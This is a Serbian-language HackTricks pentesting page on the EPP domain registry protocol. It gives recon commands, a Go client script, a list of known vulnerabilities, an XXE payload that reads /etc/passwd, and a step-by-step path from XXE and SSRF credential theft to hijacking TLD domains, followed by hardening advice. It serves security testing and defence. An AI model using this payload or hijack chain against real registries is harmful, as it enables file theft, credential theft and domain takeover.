700 - Pentesting EPP
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za upravljanje domenima i drugim internet resursima od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
U suštini, to je jedan od protokola koje TLD registrar nudi registrarima domena za registraciju novih domena u TLD.
Pentest
U ovom veoma interesantnom članku možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko implementacija ovog protokola bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
Enumeracija i Recon
EPP serveri gotovo uvek slušaju na TCP 700/tcp
preko TLS-a. Tipična implementacija takođe sprovodi uzajamni TLS (mTLS), tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu <hello/>
poruku:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Open-source klijenti korisni za testiranje
- epp-client (Go) – aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
- afq984/php-epp-client – PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Uobičajene slabosti i ranjivosti 2023-2025
Godina | Komponenta | CWE | Uticaj |
---|---|---|---|
2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog <epp> payload-a (zakrpa: 2023-11-02) |
2024 | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
2025 | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Kada je parser pogrešno konfiguran (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
), sadržaj datoteke se vraća unutar <resData>
strukture.
Ostala tipična otkrića
- Slaba politika kredencijala – EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
- Nedostajući
registryLock
/serverUpdateProhibited
status – nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj. - Nepotpisane poruke za anketu – neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
Put napada: Od nule do otmice TLD-a
- Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je
ot&e.<tld>.nic.<cc>
). - Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
- Izdajte
<update>
zahteve da promenitehostObj
zapise domena na servere imenom napadača. - (Opcionalno) Podnesite
<transfer>
da prebacite domen na registrar pod kontrolom napadača – mnogi registri se još uvek oslanjaju na jedan auth-code. - Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
Odbrambene mere i učvršćivanje
- Sprovodite mTLS sa klijent sertifikatima po registru i pinujte CA registra.
- Postavite
parserFeature secure-processing=true
ili ekvivalentno da ubijete XXE. - Izvršite kontinuirano fuzzing XML parsera (npr. sa
go-fuzz
ilijazzer
za Java). - Implementirajte Registry Lock / server*Prohibited statuse za domene visoke vrednosti.
- Pratite
poll
red za sumnjive<transfer>
ili<update>
komande i obaveštavajte u realnom vremenu. - ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije – iskoristite ih.
Reference
- ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
- HackCompute – "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.